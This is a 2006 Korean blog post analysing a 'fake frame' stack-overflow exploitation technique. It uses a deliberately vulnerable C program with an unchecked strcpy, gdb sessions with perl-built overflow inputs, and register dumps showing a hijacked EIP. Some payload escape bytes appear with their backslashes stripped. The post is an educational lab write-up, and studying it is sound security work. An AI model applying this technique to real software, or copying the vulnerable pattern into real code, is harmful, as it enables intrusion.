2006년 04월 26일
Advance Exploit Technic [frame facking] p4ant0m
다음은 p4ant0m이라는 분이 쓰신 글을 분석한 것의 주요한 부분이다.
문서의 플랫폼은 Debian Linux 3.1r0 이다.
다음의 명령어를 통해 플랫폼과 그 외의 정보를 확인할 수 있다.
axis@debian-security:/etc$ id
uid=1000(axis) gid=1000(axis) groups=1000(axis),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev)
axis@debian-security:/etc$ uname -a
Linux debian-security 2.4.27-2-386 #1 Wed Aug 17 09:33:35 UTC 2005 i686 GNU/Linux
axis@debian-security:/etc$ cat /etc/issue.net
Debian GNU/Linux 3.1 %h
취약한 소스코드는 다음과 같이 작성되어 있다.
axis@debian-security:~/explab/fakeframe$ cat test.c
#include<stdio.h>
void test(char *a){
char buf[256];
strcpy(buf,a);
printf("buf is: %s ",buf);
}
void t(int n){
n=0;
n=n+1;
printf("n is : %d ",n);
}
int main(int argc,char *argv[]){
int i;
test(argv[1]);
t(i);
return 0;
}
문서에서 페이로드를 볼 수 있는데 그것은 밑에 보여진 거와 같다.
즉, 다음의 payload는 더미값을 삽입한후 원래의 ebp값에 위조된 ebp 주소를 삽입한다.
이것은 리턴할 때 위조된 ebp 주소값으로 넘어가기위해 설정하는 부분인 것 같다.
그리고 원래의 eip 자리엔 함수의 leave 명령어 주소를 삽입하여 페이로드를 완성한다.
++++++++++++++++++++++++++++++++++++++
| dummy | fake EBP addr | leave addr |
++++++++++++++++++++++++++++++++++++++
다음의 시퀀스는 호출되고 난 후의 fake frame을 보여주고 있다.
BUFFER EBP EIP
++++++++++++++++++++++++++++++++++++++
| dummy | fake EBP addr | leave addr |
++++++++++++++++++++++++++++++++++++++
|
~~~~~~~~~~~~~~~~~|
v
++++++++++++++++++++++++++++++++++++
fake frame | dummy new | fake ebp | fake eip |
++++++++++++++++++++++++++++++++++++
---------[ 0x230 - Having Fun with Fake Frame ]
=== Analysis sequence.. ===
1. 프로그램의 스택의 모습
--------------- 낮은 주소
buf
---------------
a
---------------
buf[256] buf
---------------
sfp [fake ebp(buf -4)] test 함수
---------------
ret [test의 leave 함수 주소 ] 원래 값: main 함수의 다음 주소를 가지고 있다.
---------------
a
---------------
i
---------------
ebp main 함수 부분
---------------
libc ret
---------------
argc
---------------
argv
--------------- 높은 주소
2. (gdb) b *test+53 test의 leave 명령어에 breakpoint를 건다.
3. (gdb) r "`perl -e 'print "A"x272'`" buf에 A를 채운다.
4. 그러면 *test + 53에 브포가 걸린다.
5. (gdb) x/20x $esp ==> 메모리에서 $esp 값을 조사한다.
0xbffff870: 0x08048574 0xbffff880 0x4003130c 0xbffff8d0
0xbffff880: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff890: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8b0: 0x41414141 0x41414141 0x41414141 0x41414141
6. buffer 의 시작점은 0xbffff880이고 buffer-4에 0xbffff8d0의 주소값이 들어있다.
7. 위에서 제시한 페이로드로 eip를 buffer의 시작부분으로 변경하려면 fake ebp는
&buffer-4 가 되어야하고 그것의 주소는 0xbffff8d0이다.
여기서 왜 &buffer-4 이여야하는지 분석해보자..
test함수의 ebp는 fake ebp주소인 &buffer -4 로 설정하고 test함수의 eip(ret)은
test의 leave 명령어로 변경한다.
프로그램이 test함수의 ret 를 실행하면 leave 명령어가 실행될 것이다.
leave 명령어는 기본적으로 다음과 같다.
mov $ebp, $esp
pop $ebp 바로 이 명령이 실행되는 것이다.
이 명령어를 위의 페이로드에 따라 풀어보면,,,,
스택의 $esp 를 $ebp (우리는 이것을 &buff-4로 설정했다.)로 카피한다.
그런 다음, 그 값을 $ebp의 레지스터로 pop 시킨다.
그러면, 스택의 $ebp 값은 fake 되어서 &buff-4 값으로 변경되고,,
test함수의 leave 다음 명령인 ret 이 실행되면 ebp(&buff-4) 다음의 값인
&buff 를 ret로 여겨 buff로 진입하게 되는 것이다.
다음은 gdb로 실행한 모습이다.
8. (gdb) r "`perl -e 'print "A"x264,"x7cxf8xffxbf","xf8x83x04x08"'`"
Breakpoint 1, 0x080483f8 in test () =======》1차 leave 를 집행한다.
(gdb) c
Continuing.
Breakpoint 1, 0x080483f8 in test () =======》2차 leave 를 집행한다.
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i reg
eax 0x119 281
ecx 0x4014f2e0 1075114720
edx 0x119 281
ebx 0x40155880 1075140736
esp 0xbffff884 0xbffff884
ebp 0xbffff8d0 0xbffff8d0 ========》fake ebp
esi 0x40016540 1073833280
edi 0xbffff9f4 -1073743372
eip 0x41414141 0x41414141 ========》fake eip
eflags 0x246 582
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb) x/20x $esp
0xbffff884: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff894: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8a4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8b4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8c4: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/20x $esp-16
0xbffff874: 0xbffff880 0x4003130c 0xbffff8d0 0x41414141
0xbffff884: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff894: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8a4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8b4: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/x 0xbffff87c
0xbffff87c: 0xbffff8d0
(gdb) x/x 0xbffff880
0xbffff880: 0x41414141
p4ant0m분이 쓰신 나머지 부분에 대해선 밑의 주소를 클릭해 확인해 볼 수 있다.
-------------------------------------------------------
Reference :
tech: http://www.xfocus.net/articles/200602/851.html
-------------------------------------------------------
# by | 2006/04/26 18:05 | SeLinux | 트랙백
☞ 내 이글루에 이 글과 관련된 글 쓰기 (트랙백 보내기) [도움말]